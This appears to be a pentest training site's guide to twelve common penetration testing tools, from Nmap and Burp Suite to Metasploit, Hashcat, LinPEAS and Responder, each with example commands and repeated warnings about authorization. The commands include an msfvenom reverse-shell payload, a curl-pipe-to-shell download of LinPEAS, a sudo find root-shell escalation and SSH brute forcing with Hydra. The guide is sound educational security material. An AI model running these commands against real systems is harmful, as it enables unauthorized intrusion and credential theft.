Penetration testing tools turn theory into evidence. You can read about SQL injection or buffer overflows for years, but the moment a client asks "show me the impact," you reach for a specific binary, paste in a request, and watch the application break. This guide covers the 12 penetration testing tools that show up in nearly every real engagement, grouped by phase: reconnaissance, web application testing, exploitation, password cracking, privilege escalation, and network analysis. Practice each one hands-on in HackerDNA's Network Penetration Testing course as you read. For the bigger picture, see our complete penetration testing guide.
Every tool below is something working pentesters actually use in 2026, not a vendor catalog dump. We pulled this list from the methodology our instructors run during real assessments, cross-referenced with the tooling that consistently shows up in published engagement reports. If you are looking for the "30 tools every pentester needs" article, this is not it. Pick three from this list, learn them deeply, then add the next three.
TL;DR: The 12 essential penetration testing tools for 2026 split into six categories: Nmap and Gobuster for reconnaissance, Burp Suite and sqlmap for web app testing, Metasploit for exploitation, Hashcat for password cracking, LinPEAS and GTFOBins for privilege escalation, and Wireshark for traffic analysis. Methodology beats tool count. Three tools used well outperform fifteen tools used badly.
How We Picked These Penetration Testing Tools
Three filters apply. First, active maintenance. Tools without a meaningful release since 2022 got cut, no matter how loved they were a decade ago. Threats evolve, and tools that do not move with them become liabilities. Second, the tool has to map to a clear pentest phase. A general purpose framework that "does everything" usually does nothing well. Third, the tool has to show up in real engagement reports, the kind that get presented to a CISO. Tools that exist mainly in conference talks and Twitter screenshots got skipped.
What this list is not: an exhaustive catalog. Kali Linux ships with hundreds of tools. Most of them sit unused in /usr/bin while you reach for the same five every day. We picked the five (well, twelve) you would actually reach for.
What this list also is not: a beginner crash course. We assume you know what TCP is, you have used a terminal, and you understand the difference between a payload and an exploit. If those concepts are new, work through some intentionally vulnerable lab targets first to build the underlying mental model before reaching for these tools.
Reconnaissance and Enumeration Tools
Reconnaissance is where every engagement starts and where rookie pentesters spend the least time. Skip recon and you miss the half-forgotten staging subdomain that holds production credentials. The tools below build your map of the target before anything aggressive happens.
1. Nmap
Nmap is still the default network scanner in 2026, and that is not because nothing better has been built. It is because Nmap got the fundamentals right in 1997 and has stayed maintained ever since. Version 7.94 (released 2023) added improved IPv6 support and better service detection for modern HTTPS variants.
The command you run on every engagement:
nmap -sV -sC -p- -T4 target.com -oA scan-initial
That scans all 65,535 TCP ports (-p-), runs version detection (-sV) and the default script set (-sC), uses aggressive timing (-T4), and saves output in three formats (-oA). On a typical Linux server, expect 5 to 15 minutes per host depending on rate-limiting.
For the full set of common flags and one-liners, our Nmap cheat sheet covers the patterns you will copy most often.
2. Gobuster
Gobuster handles directory and file brute forcing without the GUI overhead of older tools. Written in Go, it scales cleanly and outputs cleanly enough to grep through later. The standard command:
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
Wordlist selection matters more than any flag. SecLists' raft-medium-directories.txt typically finds 30 percent more endpoints than the Kali default dirb/common.txt in comparable runtime. Our Gobuster wordlist guide walks through which list to use for which scenario.
In practice, run Gobuster in parallel with manual browsing during the mapping phase. By the time you have clicked through the application as a normal user, Gobuster has surfaced the admin panel that was never linked from the public navigation.
3. Amass
Amass is the subdomain enumeration tool that does not get written about enough. It pulls data from certificate transparency logs, public DNS records, search engine results, and web archives to build a complete picture of an organization's external footprint. The basic invocation:
amass enum -d target.com -o subdomains.txt
Most engagements scope a handful of primary domains. Run Amass against each one before you start scanning. The forgotten staging environment, the dormant marketing landing page, the legacy customer portal that still authenticates against production AD: those are the assets where critical findings live.
Web Application Testing Tools
Web applications are where most real-world findings come from. The 2024 Verizon DBIR pegged web apps as the initial vector in 26 percent of confirmed breaches. The tools below handle the bulk of web app testing.
4. Burp Suite
Burp Suite is the center of every web app engagement and the reason most pentesters tolerate Java. The Community Edition is free and handles maybe 80 percent of common workflows. The Pro Edition adds an automated scanner, full-speed Intruder, and Collaborator for out-of-band testing.
The four features you use daily: Proxy for intercepting requests, Repeater for modifying and resending individual requests, Intruder for parameter fuzzing, and the site map for understanding application structure. Get fluent with those before you touch anything else in the menu.
If you have never run Burp before, our Burp Suite tutorial walks through the first hour of setup and the workflow you will use on every engagement.
5. sqlmap
Once you have manually confirmed an injection point, sqlmap automates the extraction. Save the request from Burp as a file, then point sqlmap at it:
sqlmap -r request.txt --batch --level=3 --risk=2
The professional rule: manual first, sqlmap second. Running sqlmap against an unknown application generates hundreds of requests, can crash unstable backends, and triggers WAF alerts that end your access. Confirm the injection by hand with a single quote, identify the parameter, then let sqlmap handle the extraction.
One real-world note: sqlmap is excellent against MySQL, PostgreSQL, MSSQL, and Oracle. Newer cloud database flavors and certain NoSQL backends sometimes need manual technique. The tool is not a substitute for understanding what injection actually does to the underlying parser.
6. ffuf
ffuf (Fuzz Faster U Fool) does what Gobuster does for directories, plus parameter and header fuzzing that Gobuster does not. When you need to discover hidden URL parameters or fuzz HTTP headers for SSRF candidates, ffuf is the tool to reach for:
ffuf -u https://target.com/api?FUZZ=test -w params.txt -mc 200
The flexibility lives in the filtering: match by status code, response size, word count, or line count. Custom 404 pages that defeat Gobuster typically get caught by ffuf with a -fs flag for response size.
Exploitation Frameworks
After mapping and discovery comes exploitation. The tools below take a vulnerability you found and turn it into something you can demonstrate to a client.
7. Metasploit Framework
Metasploit Framework remains relevant in 2026 for one reason: when the exploit you need exists, Metasploit usually has a stable module for it. The framework ships with thousands of exploits, payloads, encoders, and post-exploitation modules. Run msfconsole and start with workspace setup:
workspace -a engagement-name
db_nmap -sV -p- target.com
search type:exploit name:cve-2023-
The db_nmap command imports scan results directly into the Metasploit database, so subsequent searches and modules can reference target hosts without typing IPs by hand. Search by CVE, by service name, or by software version. The hit rate on real engagements: maybe one in twenty findings ends up using a stock Metasploit module, but when it works, the proof of concept writes itself.
One honest note about detection. Production endpoint security catches stock Metasploit payloads. That is expected behavior in a protected environment, not a tool failure. The fix is custom payload generation, which is where msfvenom comes in.
8. msfvenom
msfvenom is the payload generator that ships with Metasploit. You build platform-specific payloads, encode them to handle bad characters, and output them in the format your delivery method needs. The reverse shell one-liner everyone memorizes eventually:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o payload.elf
Our msfvenom cheat sheet covers the platform and format combinations you actually need: Windows EXE, Linux ELF, PHP webshells, JSP for Tomcat, ASP for IIS. Memorize three of them, look up the rest when needed.
In practice, generate the payload, set up the listener with multi/handler, and trigger execution through whatever the vulnerability allows. The lift is in the vulnerability discovery; payload generation is mechanical once you have done it twice.
Password Cracking Tools
Password hashes turn up everywhere in a pentest: shadow files from privesc, NTDS.dit dumps from Active Directory, application database extracts from SQL injection, captured NTLMv2 hashes from Responder. Three tools handle 95 percent of the work.
9. Hashcat
Hashcat is the GPU-accelerated cracker, and on modern hardware it is dramatically faster than anything CPU-based. A single RTX 4090 cranks through 200+ billion MD5 hashes per second. The standard workflow:
hashcat -m 1000 -a 0 ntlm-hashes.txt rockyou.txt -r best64.rule
That command runs mode 1000 (NTLM), attack mode 0 (dictionary), against ntlm-hashes.txt using the rockyou wordlist with the best64 rule set applied. For full coverage of hash types, attack modes, and wordlist strategies, our hash cracking tutorial walks through the workflow end to end.
10. John the Ripper
John the Ripper is what you reach for when format flexibility matters more than raw speed. John handles 400+ hash and cipher formats out of the box, including odd ones (Mac OS X keychains, Lotus Notes ID files, KeePass databases) where Hashcat support is patchy.
john --wordlist=rockyou.txt --rules=KoreLogic shadow.txt
In practice, run John when Hashcat does not support the format. Otherwise, Hashcat wins on speed every time. The two tools complement each other; the false debate is which one to use exclusively.
11. Hydra
Hydra is the online password attack tool: SSH brute force, HTTP form brute force, FTP, RDP, SMB. Use it sparingly. Online attacks generate noise, lock accounts, and trigger detection. When the engagement scope explicitly authorizes credential testing against an exposed login form, Hydra is the right tool:
hydra -L users.txt -P passwords.txt ssh://target.com -t 4
Throttle aggressively (-t 4 means four parallel threads, not forty). Account lockout policies will burn your wordlist before you find anything if you race the rate limit.
Privilege Escalation Tools
You landed a low-privilege shell. Now what? The tools below automate the tedious enumeration that separates a casual pentester from someone who reliably escalates to root.
12. LinPEAS, WinPEAS, and GTFOBins
The privilege escalation toolkit is really three resources working together: two enumeration scripts and one reference catalog.
LinPEAS is a single bash script that enumerates every Linux privesc vector you would otherwise check by hand. SUID binaries, sudo permissions, capabilities, world-writable files, kernel version, cron jobs, mounted filesystems, environment variables: all checked, then color-coded by exploitability.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
The output is verbose. Yellow means interesting; red means probable privesc. Skim for red, then verify each finding manually. LinPEAS occasionally false-positives, especially on hardened distros.
WinPEAS is the Windows counterpart. Same idea: full automated enumeration, color-coded output, point you at the most promising vector. It checks installed services, registry permissions, scheduled tasks, AlwaysInstallElevated, unquoted service paths, stored credentials, and AD trust relationships. Run from a low-privilege shell, parse the red entries, validate manually before exploiting. The combination of LinPEAS and WinPEAS replaces about three hours of manual find and wmic queries on every engagement.
GTFOBins is not a tool you install; it is a curated reference at gtfobins.github.io that catalogs Unix binaries you can abuse for privesc. When LinPEAS surfaces a sudo permission like (ALL) NOPASSWD: /usr/bin/find, GTFOBins tells you exactly how to weaponize it:
sudo find . -exec /bin/sh \; -quit
Root shell. The same lookup pattern works for SUID binaries, capability assignments, and limited shell escapes. Memorize the URL; you will type it constantly. The Windows analog is LOLBAS at lolbas-project.github.io.
Network and Traffic Analysis
Some engagements drop you on a network and ask what you can see. The tools below decode the wire and pull credentials from the broadcasts that nobody noticed were broadcasting.
Wireshark
Wireshark is the protocol analyzer. Captured PCAP from an internal scope, suspicious traffic from an incident response, packet captures from a CTF challenge: Wireshark reads them all. The display filters are where the value lives:
http.request.method == "POST" and http.request.uri contains "login"
tcp.stream eq 5
tls.handshake.extensions_server_name == "target.com"
For an authorized network pentest, run a capture on the segment you have access to, then filter for cleartext credentials, internal hostnames, and unusual traffic patterns. The legacy protocols that should not exist on modern networks (LLMNR, NBNS, telnet, plain FTP) still exist on a surprising number of corporate LANs.
Responder
Responder is the LLMNR, NBT-NS, and MDNS poisoner used in authorized internal pentests. When a Windows client queries for a hostname that DNS does not resolve, Responder answers, the client tries to authenticate, and you collect the NTLMv2 hash for offline cracking with Hashcat.
responder -I eth0 -wrf
Use Responder only with explicit written authorization for internal network testing. The tool generates real authentication attempts against your machine; running it on a network you do not own is a criminal offense in most jurisdictions. When the scope of work mentions internal AD assessment, this is the standard tool.
Penetration Testing Tools to Skip in 2026
A guide to what to use is incomplete without a guide to what to ignore. The tools below show up in older articles but are no longer worth the install.
Skip the DirBuster GUI. The Java GUI is glacially slow compared to ffuf or Gobuster and adds nothing the CLI does not handle better.
Skip THC-IPV6. The IPv6 tooling has not seen meaningful maintenance in years, and modern network testing uses native scanner support (Nmap supports IPv6 with -6 since version 7.20).
Skip generic "all-in-one" platforms that promise to "automate the entire pentest." The tools above exist in their current form because pentesting cannot be fully automated. A platform that claims otherwise is selling vulnerability scanning under a different name.
Skip any tool whose last commit is older than 2022, regardless of how famous it was. The web changed; tools that have not changed with it produce outdated output and false negatives that waste hours of your engagement budget.
Building Your First Penetration Testing Toolkit
The mistake most beginners make is installing every tool in this guide on day one. Three weeks later they have used Nmap twice and forgotten what the rest do.
The progression that actually works:
- Install Kali Linux in a VM, or use the official Docker images for individual tools.
- Spend a month getting fluent with Nmap. Run it against every CTF target you touch. Read the output until you can predict it.
- Add Burp Suite Community. Proxy your browser through it for normal web browsing, not just testing. The intuition for HTTP traffic comes from watching it move, not from reading about it.
- Add sqlmap and Gobuster. Use them on intentionally vulnerable apps until you can run them without thinking.
- Add Hashcat for any password hash you encounter in CTFs.
- Add Metasploit when you have a vulnerability that needs an exploit, not before.
- Pick up LinPEAS and WinPEAS the first time you land a low-privilege shell.
Notice what is not on this list: there is no step "memorize 100 commands from a cheat sheet." The cheat sheets exist as references for when you need them. Build the muscle memory through repetition on real targets, not from flash cards. The official Kali tools index is the right place to look up flags you forget; do not try to memorize it.
Frequently Asked Questions
What are the most used penetration testing tools?
Nmap for network scanning, Burp Suite for web application testing, Metasploit for exploitation, Hashcat for password cracking, and LinPEAS for Linux privilege escalation appear in the majority of professional pentest engagements. Together they cover reconnaissance, web app testing, exploitation, and post-exploitation.
Are penetration testing tools free?
Most essential pentest tools are free and open source. Nmap, sqlmap, Metasploit Framework, Hashcat, John the Ripper, Gobuster, ffuf, LinPEAS, WinPEAS, and Wireshark cost nothing. Burp Suite Pro costs $475 per year and adds an automated scanner plus full-speed Intruder; Burp Suite Community is free.
What is the difference between pentest tools and vulnerability scanners?
Vulnerability scanners (Nessus, OpenVAS, Qualys) automate detection of known issues using a signature database. Penetration testing tools support manual analysis, exploitation, and validation. They help a tester confirm whether a finding is exploitable in context. A scanner reports "potential SQL injection." A pentester uses sqlmap to extract data and prove impact.
Do I need Kali Linux to use these penetration testing tools?
No. Every tool in this guide runs on standard Ubuntu, Debian, macOS, or Windows with appropriate package managers. Kali Linux bundles them pre-installed and pre-configured, which saves setup time. For learning, Kali is convenient. For client engagements, the choice of base OS matters less than your familiarity with the tools.
Legal and Ethical Considerations
Critical reminder: Only run these penetration testing tools against systems you have explicit written authorization to test. Unauthorized access to computer systems is a criminal offense under the CFAA (US), the Computer Misuse Act (UK), and equivalent legislation worldwide.
Authorized engagements, CTF competitions, and your own dedicated lab environments are the only safe contexts for the tools in this guide. Your scope of work document should explicitly list each tool category you intend to use, particularly intrusive tools like Hydra and Responder, where the ambient noise can disrupt production systems.
For practice, use purpose-built environments: HackerDNA labs, VulnHub VMs, or local Docker setups of intentionally vulnerable applications. These exist specifically for learning offensive security and carry no legal exposure. The OWASP Top 10 and the MITRE ATT&CK framework both publish the techniques behind the tools above, which helps when you need to map a finding to a recognized vulnerability category for your report.
When an engagement does authorize these tools, document what you ran, when, and against what. The audit trail protects both you and the client. If a downstream incident gets investigated, your sqlmap output with timestamps proves you were within scope.
Your Next Steps With Penetration Testing Tools
The 12 penetration testing tools above will handle the majority of work on real engagements. None of them are particularly hard to install. The hard part is building the methodology that knows when to reach for which one.
Start with Nmap and Burp Suite. Spend a month getting them into muscle memory against intentionally vulnerable targets. Add the next tool only when you hit a problem the current tools cannot solve. This is the slow path that produces working pentesters, while the fast path of "install everything and watch tutorials" produces people who can list tools but cannot use them.
Practice the full toolkit hands-on in HackerDNA's Network Penetration Testing course, which walks through the engagement workflow from initial Nmap scan through privilege escalation. Pair it with our web application penetration testing guide for the web-specific methodology. Start with HackerDNA's free tier, no credit card required.
Part of the Penetration Testing series
Related articles: